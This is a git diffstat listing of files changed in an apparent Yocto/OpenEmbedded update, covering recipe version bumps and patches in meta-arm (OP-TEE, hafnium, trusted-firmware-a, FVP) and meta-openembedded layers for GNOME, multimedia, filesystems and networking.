-rw-r--r--meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-arm-none-eabi_13.2.Rel1.bb (renamed from meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-arm-none-eabi_12.3.rel1.bb)8
-rw-r--r--meta-arm/meta-arm/conf/machine/generic-arm64.conf1
-rw-r--r--meta-arm/meta-arm/lib/fvp/runner.py2
-rw-r--r--meta-arm/meta-arm/lib/oeqa/selftest/cases/runfvp.py13
-rwxr-xr-xmeta-arm/meta-arm/lib/oeqa/selftest/cases/tests/mock-fvp.py7
-rw-r--r--meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.json4
l---------meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.py1
-rw-r--r--meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-Use-pkg-config-native-to-find-the-libssl-headers.patch4
-rw-r--r--meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-arm-hafnium-fix-kernel-tool-linking.patch2
-rw-r--r--meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-work-around-visibility-issue.patch4
-rw-r--r--meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0002-Fix-build-with-clang-15.patch101
-rw-r--r--meta-arm/meta-arm/recipes-bsp/hafnium/hafnium_2.9.bb (renamed from meta-arm/meta-arm/recipes-bsp/hafnium/hafnium_2.8.bb)3
-rw-r--r--meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a.inc4
-rw-r--r--meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.9.0.bb6
-rw-r--r--meta-arm/meta-arm/recipes-devtools/fvp/fvp-base-a-aem_11.23.9.bb (renamed from meta-arm/meta-arm/recipes-devtools/fvp/fvp-base-a-aem_11.22.14.bb)6
-rw-r--r--meta-arm/meta-arm/recipes-devtools/fvp/fvp-corstone1000.bb13
-rw-r--r--meta-arm/meta-arm/recipes-kernel/linux/files/qemuarm-phys-virt.cfg1
-rw-r--r--meta-arm/meta-arm/recipes-kernel/linux/linux-yocto%.bbappend6
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-client_4.0.0.bb7
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-examples_4.0.0.bb3
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_3.2%.bbappend4
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os-tadevkit_4.0.0.bb (renamed from meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-tadevkit_3.18.0.bb)7
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os/0001-allow-setting-sysroot-for-libgcc-lookup.patch35
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os/0002-core-Define-section-attributes-for-clang.patch241
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os/0003-optee-enable-clang-support.patch30
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os/0004-core-link-add-no-warn-rwx-segments.patch63
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os_4.%.bbappend (renamed from meta-arm/meta-arm/recipes-security/optee/optee-os_3.2%.bbappend)2
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-os_4.0.0.bb13
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-test.inc5
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-test/0001-xtest-regression_1000-remove-unneeded-stat.h-include.patch34
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-test_3.22.0.bb10
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee-test_4.0.0.bb (renamed from meta-arm/meta-arm/recipes-security/optee/optee-test_3.2%.bbappend)4
-rw-r--r--meta-arm/meta-arm/recipes-security/optee/optee.inc3
-rwxr-xr-xmeta-arm/scripts/machine-summary.py1
-rwxr-xr-xmeta-arm/scripts/runfvp4
-rw-r--r--meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisoburn_1.5.6.bb (renamed from meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisoburn_1.5.4.bb)2
-rw-r--r--meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisofs_1.5.6.bb (renamed from meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisofs_1.5.4.bb)2
-rw-r--r--meta-openembedded/meta-filesystems/recipes-filesystems/fuse-exfat/fuse-exfat_1.4.0.bb (renamed from meta-openembedded/meta-filesystems/recipes-filesystems/fuse-exfat/fuse-exfat_1.3.0.bb)3
-rw-r--r--meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/files/0001-support-cross-compiling.patch33
-rw-r--r--meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/unionfs-fuse_3.4.bb (renamed from meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/unionfs-fuse_2.2.bb)5
-rw-r--r--meta-openembedded/meta-filesystems/recipes-support/fuse/fuse3_3.16.2.bb (renamed from meta-openembedded/meta-filesystems/recipes-support/fuse/fuse3_3.15.1.bb)2
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/binfs/bindfs_1.17.6.bb15
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/exfatprogs/exfatprogs_1.2.2.bb (renamed from meta-openembedded/meta-filesystems/recipes-utils/exfatprogs/exfatprogs_1.2.1.bb)2
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/ufs-utils/ufs-utils_4.13.5.bb (renamed from meta-openembedded/meta-filesystems/recipes-utils/ufs-utils/ufs-utils_3.12.3.bb)2
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/xfsprogs/xfsprogs_6.5.0.bb (renamed from meta-openembedded/meta-filesystems/recipes-utils/xfsprogs/xfsprogs_6.1.1.bb)2
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-Add-a-return-type-to-aio_rw.patch28
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-add-missing-FTW_-macros-when-not-available-in-libc.patch41
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-ltp-fsx.h-Explicitly-use-int-for-return-type-for-aio.patch30
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-m4-Check-for-FTW_ACTIONRETVAL-along-with-nftw.patch34
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0002-Drop-detached_mounts_propagation-and-remove-sys-moun.patch31
-rw-r--r--meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests_2023.10.29.bb (renamed from meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests_2023.03.05.bb)7
-rw-r--r--meta-openembedded/meta-gnome/conf/layer.conf1
-rw-r--r--meta-openembedded/meta-gnome/dynamic-layers/meta-security/recipes-gnome/gnome-remote-desktop/gnome-remote-desktop_45.1.bb (renamed from meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-remote-desktop/gnome-remote-desktop_45.0.bb)2
-rw-r--r--meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-boxes/gnome-boxes_45.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-connectivity/folks/folks_0.15.6.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-connectivity/gtk-vnc/gtk-vnc_1.3.1.bb4
-rw-r--r--meta-openembedded/meta-gnome/recipes-connectivity/libnma/libnma_1.10.6.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet/0001-linker-scripts-Do-not-export-_IO_stdin_used.patch (renamed from meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet/0001-linker-script-Do-not-export-_IO_stdin_used.patch)0
-rw-r--r--meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet_1.34.0.bb (renamed from meta-openembedded/meta-gnome/recipes-connectivity/network-manager-applet/network-manager-applet_1.32.0.bb)5
-rw-r--r--meta-openembedded/meta-gnome/recipes-gimp/babl/babl_0.1.106.bb3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gimp/gegl/gegl_0.4.46.bb4
-rw-r--r--meta-openembedded/meta-gnome/recipes-gimp/gimp/gimp_2.10.36.bb (renamed from meta-openembedded/meta-gnome/recipes-gimp/gimp/gimp_2.10.34.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf-editor_45.0.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf-editor_43.0.bb)5
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/dconf/dconf_0.40.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/eog/eog_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/eog/eog_45.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/evince/evince_45.0.bb5
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/evolution-data-server/evolution-data-server.inc5
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/file-roller/file-roller_43.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gdm/gdm_45.0.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gedit/gedit_46.1.bb3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/geocode-glib/geocode-glib_3.26.4.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gexiv2/gexiv2_0.14.2.bb9
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gfbgraph/gfbgraph_0.2.5.bb2
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex/0001-gtkhex-Local-variables-in-switch-statement-should-be.patch50
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_3.18.4.bb17
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/ghex/ghex_45.0.bb21
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gjs/gjs_1.78.0.bb3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-autoar/gnome-autoar_0.4.4.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-backgrounds/gnome-backgrounds_45.0.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-backgrounds/gnome-backgrounds_44.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth3_3.34.5.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth_42.7.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-bluetooth/gnome-bluetooth_42.6.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-calculator/gnome-calculator_45.0.2.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-calculator/gnome-calculator_45.0.bb)4
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-calendar/gnome-calendar_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-calendar/gnome-calendar_45.0.bb)7
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-commander/gnome-commander_1.16.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-console/gnome-console_45.0.bb26
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-control-center/gnome-control-center_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-control-center/gnome-control-center_45.0.bb)5
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-desktop/gnome-desktop_44.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-disk-utility/gnome-disk-utility_45.0.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-disk-utility/gnome-disk-utility_44.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-flashback/gnome-flashback_3.46.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-font-viewer/gnome-font-viewer_45.0.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-font-viewer/gnome-font-viewer_44.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-keyring/gnome-keyring_42.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-menus/gnome-menus_3.36.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-online-accounts/gnome-online-accounts_3.48.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-panel/gnome-panel_3.47.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-photos/gnome-photos_44.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-screenshot/gnome-screenshot_41.0.bb2
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-session/gnome-session_45.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-settings-daemon/gnome-settings-daemon_45.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell-extensions_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell-extensions_44.1.bb)4
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-shell/gnome-shell_45.0.bb)8
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-software/gnome-software_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-software/gnome-software_45.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-system-monitor/gnome-system-monitor_45.0.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-terminal/gnome-terminal_3.50.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-terminal/gnome-terminal_3.48.1.bb)11
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-text-editor/gnome-text-editor_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gnome-text-editor/gnome-text-editor_45.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gnome-tweaks/gnome-tweaks_40.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo-plugins_0.3.16.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/grilo/grilo_0.3.16.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gsound/gsound_1.0.3.bb3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gspell/gspell_1.12.2.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gthumb/gthumb_3.12.2.bb2
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview3_3.24.11.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview4_4.8.4.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview4_4.8.2.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview5_5.10.0.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gtksourceview/gtksourceview5_5.7.1.bb)5
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/gvfs/gvfs_1.52.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/gvfs/gvfs_1.52.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/libchamplain/libchamplain_0.12.21.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/libchamplain/libchamplain_0.12.20.bb)6
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/libgdata/libgdata_0.18.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/libgsf/libgsf_1.14.51.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/libgsf/libgsf_1.14.50.bb)8
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/libgtop/libgtop_2.41.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/libgweather/libgweather4_4.4.0.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/libgweather/libgweather4_4.2.0.bb)4
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck3_43.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/libwnck/libwnck_2.31.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/metacity/metacity_3.50.0.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/metacity/metacity_3.46.1.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/mutter/mutter_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/mutter/mutter_45.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/nautilus/nautilus_45.1.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/nautilus/nautilus_45.0.bb)3
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/rest/librest_0.8.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.0.bb25
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/rest/rest_0.9.1.bb23
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/sysprof/sysprof_3.44.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/tecla/tecla_45.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker-miners_3.6.2.bb (renamed from meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker-miners_3.6.0.bb)4
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/tracker/tracker_3.6.0.bb5
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-tools_42.1.bb2
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp-xsl_42.1.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/yelp/yelp_42.2.bb2
-rw-r--r--meta-openembedded/meta-gnome/recipes-gnome/zenity/zenity_3.44.2.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-support/libcloudproviders/libcloudproviders_0.3.4.bb2
-rw-r--r--meta-openembedded/meta-gnome/recipes-support/libwacom/libwacom_2.8.0.bb (renamed from meta-openembedded/meta-gnome/recipes-support/libwacom/libwacom_2.6.0.bb)2
-rw-r--r--meta-openembedded/meta-gnome/recipes-support/webp-pixbuf-loader/webp-pixbuf-loader_0.2.5.bb (renamed from meta-openembedded/meta-gnome/recipes-support/webp-pixbuf-loader/webp-pixbuf-loader_0.2.4.bb)2
-rw-r--r--meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gnome_45.0.bb1
-rw-r--r--meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.14.1.bb42
-rw-r--r--meta-openembedded/meta-gnome/recipes-support/xdg-desktop-portal/xdg-desktop-portal-gtk_1.15.1.bb30
-rw-r--r--meta-openembedded/meta-initramfs/recipes-devtools/klibc/klibc.inc1
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gssdp_1.6.3.bb (renamed from meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gssdp_1.4.0.1.bb)11
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-av_0.14.1.bb (renamed from meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-av_0.14.0.bb)2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-igd_1.6.0.bb (renamed from meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-igd_1.2.0.bb)9
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools/0001-build-Fix-wrap-file-syntax.patch56
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.10.2.bb17
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.12.1.bb19
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-all-Drop-xmlRecoverMemory.patch107
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-build-properly-spell-provide-in-.wrap-files.patch25
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp_1.6.6.bb (renamed from meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp_1.4.1.bb)12
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp/0001-ithread-Use-pthread_mutexattr_gettype-pthread_mutexa.patch42
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp_1.14.18.bb (renamed from meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp_1.14.6.bb)3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-connectivity/rygel/rygel_0.42.4.bb (renamed from meta-openembedded/meta-multimedia/recipes-connectivity/rygel/rygel_0.40.4.bb)11
-rw-r--r--meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/ldflags.patch57
-rw-r--r--meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/override-uname.patch42
-rw-r--r--meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.3.0.bb59
-rw-r--r--meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.4.4.bb14
-rw-r--r--meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska/0001-Makefile-Use-LINKFLAGS-during-link-step.patch29
-rw-r--r--meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.4.1.bb37
-rw-r--r--meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.7.1.bb16
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/aom/aom_3.7.0.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/aom/aom_3.6.1.bb)6
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/dav1d/dav1d_1.3.0.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/dav1d/dav1d_1.2.0.bb)2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-connector-dbus_0.3.0.bb2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-core_0.6.0.bb4
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-renderer_0.6.0.bb2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/dleyna/dleyna-server_0.6.0.bb2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/fdk-aac/fdk-aac_2.0.2.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/fdk-aac/fdk-aac_2.0.1.bb)2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/fluidsynth/fluidsynth_2.3.4.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/fluidsynth/fluidsynth_git.bb)15
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera/0001-Fix-build-with-fmt-9.0.patch37
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera_1.12.1.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/gerbera/gerbera_1.11.0.bb)3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gst-shark_0.8.1.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gst-shark_git.bb)22
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd/0001-gstd-yocto-compatibility.patch22
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/gstreamer-1.0/gstd_git.bb29
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer.inc3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/juce/projucer/0001-StandardHeader-Include-utility-for-GCC-12-compatibil.patch21
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/libavif/libavif_1.0.1.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/libavif/libavif_0.11.1.bb)4
-rwxr-xr-xmeta-openembedded/meta-multimedia/recipes-multimedia/libdc1394/libdc1394_2.2.7.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/libdc1394/libdc1394_2.2.6.bb)3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/libde265/libde265_1.0.12.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/libde265/libde265_1.0.5.bb)6
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/libdvbpsi/libdvbpsi_1.3.3.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/libdvbpsi/libdvbpsi_1.3.0.bb)3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/libopenmpt/libopenmpt_0.7.3.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/libopenmpt/libopenmpt_0.6.2.bb)6
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/libuvc/libuvc_0.0.7.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/libuvc/libuvc.bb)4
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-SndfileDecoderPlugin-Fix-type-mismatch-for-std-span.patch28
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-patch-src_decoder_plugins_FfmpegIo.cxx.patch26
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/fix-build-error-when-fmt-updated.patch71
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/minor-fixup-for-libfmt10.patch27
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd_0.23.14.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd_0.23.12.bb)6
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc/0001-SearchPage-use-regular-integer-to-fix-Wenum-constexp.patch37
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc_0.49.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc_0.47.bb)7
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/nv-codec-headers/nv-codec-headers_12.1.14.0.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/nv-codec-headers/nv-codec-headers_12.0.16.0.bb)2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.20.1.bb24
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.23.1.bb23
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/opencore-amr/opencore-amr_0.1.6.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/opencore-amr/opencore-amr_0.1.3.bb)6
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/packagegroups/packagegroup-meta-multimedia.bb3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/pipewire/pipewire_0.3.85.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/pipewire/pipewire_0.3.81.bb)3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-Use-CMAKE_INSTALL_-path-instead-of-hardcoding-bin-li.patch46
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-fixed-compilation-error-caused-by-strncpy.patch69
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa_2.0.0.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa.bb)7
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/vlc/libdvdcss_1.4.3.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/vlc/libdvdcss_1.4.2.bb)3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/wireplumber/wireplumber_0.4.15.bb (renamed from meta-openembedded/meta-multimedia/recipes-multimedia/wireplumber/wireplumber_0.4.14.bb)5
-rw-r--r--meta-openembedded/meta-multimedia/recipes-multimedia/x265/x265_3.2.1.bb2
-rw-r--r--meta-openembedded/meta-multimedia/recipes-support/libmediaart/libmediaart-2.0_1.9.6.bb (renamed from meta-openembedded/meta-multimedia/recipes-support/libmediaart/libmediaart-2.0_1.9.5.bb)3
-rw-r--r--meta-openembedded/meta-multimedia/recipes-support/libsrtp/libsrtp_2.5.0.bb (renamed from meta-openembedded/meta-multimedia/recipes-support/libsrtp/libsrtp_2.4.2.bb)4
-rw-r--r--meta-openembedded/meta-networking/MAINTAINERS4
-rw-r--r--meta-openembedded/meta-networking/README.md1
-rw-r--r--meta-openembedded/meta-networking/dynamic-layers/meta-python/recipes-printing/system-config-printer/system-config-printer_1.5.18.bb1
-rw-r--r--meta-openembedded/meta-networking/files/static-group-meta-networking4
